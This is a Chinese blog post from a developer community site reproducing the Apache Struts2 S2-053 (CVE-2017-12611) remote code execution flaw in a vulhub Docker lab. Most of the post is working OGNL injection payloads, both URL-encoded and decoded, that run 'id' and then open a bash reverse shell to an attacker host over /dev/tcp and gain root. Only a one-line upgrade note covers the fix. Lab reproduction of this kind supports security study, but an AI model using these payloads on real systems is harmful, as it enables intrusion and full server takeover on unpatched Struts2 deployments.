Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2017-12611 S2-053 远程代码执行漏洞

CVE-2017-12611 S2-053 远程代码执行漏洞

原创
作者头像
用户8478947
发布于 2022-12-08 06:29:27
发布于 2022-12-08 06:29:27
69200
代码可运行
举报
文章被收录于专栏:安全学习安全学习
运行总次数:0
代码可运行

1 漏洞信息

漏洞名称

远程代码执行漏洞

漏洞编号

CVE-2017-12611

危害等级

高危

漏洞类型

中间件漏洞

漏洞厂商

Apache

漏洞组件

Struts2

受影响版本

2.0.1 <= Struts2 <= 2.3.33,2.5 <= Struts2 = 2.5.10

漏洞概述

Struts2在使用Freemarker模块引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但是由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

2 环境搭建

2.1 环境概述

  • Linux操作系统

2.2 搭建过程

拉取镜像

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 cd vulhub/struts2/s2-053
 docker-compose up -d

访问http://192.168.146.158:8053/hello.action

3 漏洞复现

根据vulhub官网的poc,查看是否存在该漏洞。发现成功执行了删除has vul的语句,说明存在该漏洞。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27echo%20has%20vul%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0A
 ​
 payload原型:
 redirectUri=%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo has vul').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

访问漏洞url并且添加恶意payload进行抓包。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0A
 ​
 payload原型:
 redirectUri=%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

发现成功执行了id命令,发现是root权限。

修改payload,执行反弹shell命令。

首先要监听端口,ip是攻击ip,不是漏洞靶机ip。这里没有再开另外一台机器,因此用和靶机同一台的ip进行接收所反弹的shell。

对要生成的反弹shell命令进行url编码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 这里的ip地址也是攻击机的ip地址
 bash -i >& /dev/tcp/192.168.146.158/9999 0>&1
 ​
 bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.146.158%2F9999%200%3E%261

最终的反弹shell payload如下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.146.158%2F9999%200%3E%261%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0A
 ​
 payload原型:
 redirectUri=%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.146.158/9999 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

反弹成功

4 修复建议

1、推荐的解决方案:升级至比受漏洞影响的更高版本。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
CVE-2017-9791 S2-048 远程代码执行漏洞
访问http://192.168.146.158:8048/integration/editGangster.action
用户8478947
2022/12/22
4740
Struts2漏洞复现合集
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5TlQx5IR-1626014278332)(C:/Users/zcc/AppData/Roaming/Typora/typora-user-images/image-20210708164156162.png)]
全栈程序员站长
2022/09/09
1.3K0
Struts2漏洞复现合集
CVE-2018-11776 S2-057 远程代码执行漏洞
根据vulhub官网的poc,查看是否存在该漏洞。发现成功执行了333*3的语句,说明存在该漏洞。
用户8478947
2022/12/08
4030
Struts2 漏洞集合
总结了一部分 Strtus2 漏洞,虽然现在这部分的漏洞很少了,但也是学习的一部分,收集的并不全面,后续会做补充。
全栈程序员站长
2022/09/09
7090
Struts2 漏洞集合
java struts2 漏洞_Struts2漏洞利用「建议收藏」
${(#_memberAccess[“allowStaticMethodAccess”]=true,#a=@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
全栈程序员站长
2022/09/09
9070
java struts2 漏洞_Struts2漏洞利用「建议收藏」
struts2漏洞复现
3、判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。
全栈程序员站长
2022/09/07
9880
struts2漏洞复现
CVE-2017-5638 S2-045 远程代码执行漏洞
访问http://192.168.146.158:8045/doUpload.action
用户8478947
2022/12/22
9750
Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现
S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码以及系统命令到服务器系统中去 。
全栈程序员站长
2022/09/14
4130
Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现
S2-057 远程命令执行复现
Apache wiki更新了一个Struts2的远程代码执行漏洞(S2-057),漏洞威胁等级为高危,漏洞对应的CVE编号为CVE-2018-11776。
LuckySec
2022/11/02
4520
S2-057 远程命令执行复现
Apache Struts2 Remote Code Execution (S2-053)
Versions Affected Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10 Description A possible Remote Code Execution attack when using an unintentional expression in Freemarker tag instead of string literals When using expression literals or forcing
风流
2018/06/01
7490
Linux应急响应(三):挖矿病毒
随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式。新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染的成功率,通过利用永恒之蓝(EternalBlue)、web攻击多种漏洞(如Tomcat弱口令攻击、Weblogic WLS组件漏洞、Jboss反序列化漏洞、Struts2远程命令执行等),导致大量服务器被感染挖矿程序的现象 。
Bypass
2019/07/08
2.2K0
Linux应急响应(三):挖矿病毒
CVE-2019-0230 S2-059 远程代码执行漏洞
工具vulhub官网的poc,输入id参数查看是否存在该漏洞。发现成功执行了333*3的语句,说明存在该漏洞。
用户8478947
2022/12/07
5340
CVE-2013-2134 S2-015 远程代码执行漏洞
1 漏洞信息漏洞名称远程代码执行漏洞漏洞编号CVE-2013-2134危害等级高危漏洞类型中间件漏洞漏洞厂商Apache漏洞组件Struts2受影响版本2.0.0 <= Struts2 <= 2.3.15漏洞概述Apache Struts 2是用于开发JavaEE Web应用程序的开源Web应用框架。Apache Struts 2.0.0至2.3.14.2版本中存在远程命令执行漏洞。远程攻击者可借助带有‘${}’和‘%{}’序列值(可导致判断OGNL代码两次)的请求,利用该漏洞执行任意OGNL代码。2 环境
用户8478947
2022/12/22
9270
S2-001 远程代码执行漏洞
访问http://192.168.146.158:8101/login.action
用户8478947
2022/12/22
4150
威胁事件告警分析技巧及处置(一)
声明:公众号大部分文章来自团队核心成员和知识星球成员,少部分文章经过原作者授权和其它公众号白名单转载。未经授权,严禁转载,如需转载,请联系公众号管理员授权转载白名单!
安全小王子
2020/09/23
3.3K0
威胁事件告警分析技巧及处置(一)
CVE-2013-2251 S2-016 远程代码执行漏洞
访问http://192.168.146.158:8016/index.action
用户8478947
2022/12/22
8000
Struts2 S2-046, S2-045 Firewall(漏洞防火墙)
开发中遇到一个问题,Struts2 已经升级到2.3.32但是故障依旧,绞尽脑汁找不出原因。此路不同另寻它路,我便想从运维角度暂时解决这个问题,给开发留出足够的时间解决故障。 于是我想到了iptables 防火墙并下来的这个脚本。 https://github.com/netkiller/firewall/blob/master/shell/struts2.sh 这是一个针对 Struts2 S2-046, S2-045漏洞封杀的防火墙脚本。 首先分析 S2-046, S2-045 漏洞攻击的原理。测试代码
netkiller old
2018/03/05
8030
Gopher协议在SSRF漏洞中的深入研究
定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
物联网安全小编
2020/04/08
4.5K0
Gopher协议在SSRF漏洞中的深入研究
漏洞预警 | Apache Struts2 曝任意代码执行漏洞 (S2-045,CVE-2017-5638)
FreeBuf上次曝Struts 2的漏洞已经是半年多以前的事情了。 这次的漏洞又是个RCE远程代码执行漏洞。简单来说,基于Jakarta Multipart解析器进行文件上传时,利用漏洞可进行远程代
FB客服
2018/02/23
1.3K0
漏洞预警 | Apache Struts2 曝任意代码执行漏洞 (S2-045,CVE-2017-5638)
CVE-2012-0391 S2-008 远程代码执行漏洞
访问http://192.168.146.158:8008/devmode.action
用户8478947
2022/12/22
9160
相关推荐
CVE-2017-9791 S2-048 远程代码执行漏洞
更多 >
领券
💥开发者 MCP广场重磅上线!
精选全网热门MCP server,让你的AI更好用 🚀
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验